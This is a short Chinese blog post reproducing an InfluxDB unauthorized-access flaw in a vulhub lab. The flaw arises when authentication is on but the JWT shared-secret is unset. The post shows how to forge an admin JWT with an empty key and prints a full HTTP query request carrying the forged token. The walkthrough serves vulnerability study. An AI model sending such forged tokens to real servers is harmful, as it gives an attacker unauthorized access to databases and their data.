influxdb未授权访问漏洞
·
漏洞背景
influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
漏洞复现
首先我们需要借助https://jwt.io/来生成jwt token

其中,admin是一个已经存在的用户,exp是一个时间戳,代表着这个token的过期时间,你需要设置为一个未来的时间戳。
(还好这个网站鼠标指上去能显示时间戳的时间,不然都不知道怎么整)
将上图左边那串数据复制,然后更改Authorization并发送以下数据包:
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.S9zNiAW3eh8vahImwH_3OOXAve49_k2MPmBTD-9Elsg
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
我这里用的是vulhub的环境,端口为8086

更多推荐



所有评论(0)